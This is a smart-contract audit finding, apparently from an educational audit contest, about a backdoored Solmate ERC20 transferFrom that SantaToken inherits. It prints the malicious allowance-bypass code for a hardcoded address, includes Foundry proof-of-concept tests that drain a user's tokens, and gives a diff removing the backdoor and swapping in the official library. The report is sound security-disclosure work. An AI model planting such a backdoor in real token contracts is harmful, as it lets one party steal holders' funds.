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Submission Details
Severity: high
Valid

SantaToken inherits a backdoored transferFrom that lets a hardcoded address move any holder's tokens without approval, enabling theft of all token balances

justtammy

Root + Impact

Description

  • - Normal behavior: transferFrom moves tokens from one address to another, but only if the caller has been given an approved allowance by the token owner beforehand.

  • - Specific issue: The inherited transferFrom contains a hardcoded address that, when it is the caller, skips the allowance check entirely and can move any holder's tokens without approval — letting it drain every SantaToken balance.

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
// @> hardcoded address bypasses the allowance check and can move any holder's tokens
if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
​
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}

Risk

Likelihood:

  • The backdoor is hardcoded into the deployed bytecode, always present and exploitable at any time by the privileged address.

  • Exploitation requires no victim interaction, no approval, and no preconditions — the privileged address can act unilaterally whenever it chooses.

Impact:

  • The hardcoded address can transfer any holder's SantaTokens to itself without approval, draining every user's balance.

  • Because SantaTokens are required to buy presents, draining balances also prevents users from buying presents, breaking that part of the protocol.

## Proof of Concept 1. A user (user) is marked EXTRA_NICE by Santa via checkList and checkTwice, and after Christmas calls collectPresent(), receiving 1 SantaToken. 2. The hardcoded address 0x815F577F1c1bcE213c012f166744937C889DAF17 calls transferFrom(user, attacker, 1e18) on the SantaToken contract. 3. Because the caller matches the hardcoded address, the allowance check is skipped. The user's balance is reduced by 1 token and the attacker's balance increases by 1 token — with no approval from the user. 4. End state: the user's earned SantaToken is stolen. Repeating this against every holder drains all SantaTokens into the attacker's account.
function test_backdoorDrainsTokens() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
vm.prank(user);
santasList.collectPresent();
​
assertEq(santaToken.balanceOf(user), 1e18);
​
address attacker = 0x815F577F1c1bcE213c012f166744937C889DAF17;
vm.prank(attacker);
santaToken.transferFrom(user, attacker, 1e18);
​
assertEq(santaToken.balanceOf(user), 0);
assertEq(santaToken.balanceOf(attacker), 1e18);
}
​

Recommended Mitigation

The root cause is the hardcoded address check inside transferFrom, which bypasses the ERC20 allowance mechanism for one specific caller. The fix is to remove the entire backdoor if block so that all callers — with no exception — must go through the standard allowance check before moving another account's tokens

function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) {
- // hehehe :)
- if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) {
- balanceOf[from] -= amount;
- unchecked {
- balanceOf[to] += amount;
- }
- emit Transfer(from, to, amount);
- return true;
- }
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
balanceOf[from] -= amount;
unchecked {
balanceOf[to] += amount;
}
emit Transfer(from, to, amount);
return true;
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-05] Malicious Code Injection in solmate ERC20 Contract inside `transferFrom` function which is inherited in `SantaToken`

## Description A malicious code is detected in a modified version of the Solmate ERC20 contract inside the `transferFrom` function. The library was forked from the Solmate repository and has been modified to include the malicious code. The `SantaToken` contract inherits this malicious ERC20 contract which brings all the risks inside the SantaToken contract that are associated with the modified ERC20 contract. The code is modified in such a way to allow a specific address to transfer tokens without checking for allowances and thus it causes token transfers without the permission of the users. ## Vulnerability Details Instead of using the official [Solmate's](https://github.com/transmissions11/solmate) ERC20 contract a [forked Solmate](https://github.com/patrickalphac/solmate-bad/tree/c3877e5571461c61293503f45fc00959fff4ebba) library was used which contains the modified ERC20 contract. The vulnerability arises due to the usage of unofficial solmate repo which was forked from official solmate containing a commit involving the malicious code injected inside the `transferFrom` function of the Solmate's ERC20 contract. The malicious code added to the `transferFrom` function allows a specific Ethereum address `0x815F577F1c1bcE213c012f166744937C889DAF17` to transfer tokens from any other address to a target address. This is done without checking the approval status of the `from` address. This could lead to unauthorized token transfers, potentially draining accounts without the account owner's consent. The address `0x815F577F1c1bcE213c012f166744937C889DAF17` is the same address of the `South Pole Elves` mentioned in the `@author` field for the Smart Contracts [here](https://github.com/Cyfrin/2023-11-Santas-List/blob/main/src/SantasList.sol#L55). The malicious code starts from the line 87 to line 96 inside the `transferFrom` in the modified Solmate's ERC20 contract. ```cpp function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { @> // hehehe :) @> // https://arbiscan.io/tx/0xd0c8688c3bcabd0024c7a52dfd818f8eb656e9e8763d0177237d5beb70a0768d @> if (msg.sender == 0x815F577F1c1bcE213c012f166744937C889DAF17) { @> balanceOf[from] -= amount; @> unchecked { @> balanceOf[to] += amount; @> } @> emit Transfer(from, to, amount); @> return true; @> } uint256 allowed = allowance[from][msg.sender]; // Saves gas for limited approvals. if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount; balanceOf[from] -= amount; // Cannot overflow because the sum of all user // balances can't exceed the max uint256 value. unchecked { balanceOf[to] += amount; } emit Transfer(from, to, amount); return true; } ``` ## Impact This vulnerability allows the attacker (with the ethereum adress - `0x815F577F1c1bcE213c012f166744937C889DAF17`) to arbitrarily transfer tokens from any address to any other address without requiring approval from the `from` address to attacker's address. This can lead to significant financial loss for token holders and can undermine the trust in the SantaToken. Since the malicious code is present in ERC20 contract which is inherited in `SantaToken` which will allow the attacker to arbitrarily transfer SantaToken from any address to any other address and use the stolen SantaToken to buy present. Furthermore, if there are any other services which can be availed with SantaToken, then attacker can benefit from all of them. ## PoC Add the test in the file: `test/unit/SantasListTest.t.sol`. Run the test: ```cpp forge test --mt test_ElvesCanTransferTokenWithoutApprovals ``` ```cpp function test_ElvesCanTransferTokenWithoutApprovals() public { // address of the south pole elves address southPoleElves = 0x815F577F1c1bcE213c012f166744937C889DAF17; vm.startPrank(santa); // Santa checks user once as EXTRA_NICE santasList.checkList(user, SantasList.Status.EXTRA_NICE); // Santa checks user second time santasList.checkTwice(user, SantasList.Status.EXTRA_NICE); vm.stopPrank(); // christmas time 🌳🎁 HO-HO-HO vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME()); // User collects their NFT and tokens for being EXTRA_NICE vm.prank(user); santasList.collectPresent(); // Now the user have some SantaTokens uint256 userBalance = santaToken.balanceOf(user); assertEq(userBalance, 1e18); // user needs to give approval to others in order to move tokens to other addresses via 'transferFrom' // but the south pole elves can move tokens of anyone without approval permissions vm.prank(southPoleElves); bool success = santaToken.transferFrom(user, southPoleElves, userBalance); assert(success == true); assertEq(santaToken.balanceOf(user), 0); assertEq(santaToken.balanceOf(southPoleElves), userBalance); } ``` ## Recommendations - Santa should first identify the specific elves who were responsible for the malicious code and start their counselling as soon as possible and teach them a nice lesson so that they don't write smart contracts with malicious intent and should also motivate them to apply to Cyfrin Updraft. - Use the ERC20 contract from the official Solmate's library. Always verify the code before it is used in the SmartContract and always use code from official source. - Delete the malicious forked solmate library from the `lib` folder. - Refactor the library installs in every place. - `Makefile (Line - 13)` ```diff - install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install patrickalphac/solmate-bad --no-commit + install :; forge install foundry-rs/forge-std --no-commit && forge install openzeppelin/openzeppelin-contracts --no-commit && forge install transmissions11/solmate --no-commit ``` - `foundry.toml` ```diff remappings = [ '@openzeppelin/contracts=lib/openzeppelin-contracts/contracts', - '@solmate=lib/solmate-bad', + '@solmate=lib/solmate', ] ``` - `.gitmodules` ```diff [submodule "lib/forge-std"] path = lib/forge-std url = https://github.com/foundry-rs/forge-std [submodule "lib/openzeppelin-contracts"] path = lib/openzeppelin-contracts url = https://github.com/openzeppelin/openzeppelin-contracts -[submodule "lib/solmate-bad"] - path = lib/solmate-bad - url = https://github.com/patrickalphac/solmate-bad +[submodule "lib/solmate"] + path = lib/solmate + url = https://github.com/transmissions11/solmate ```

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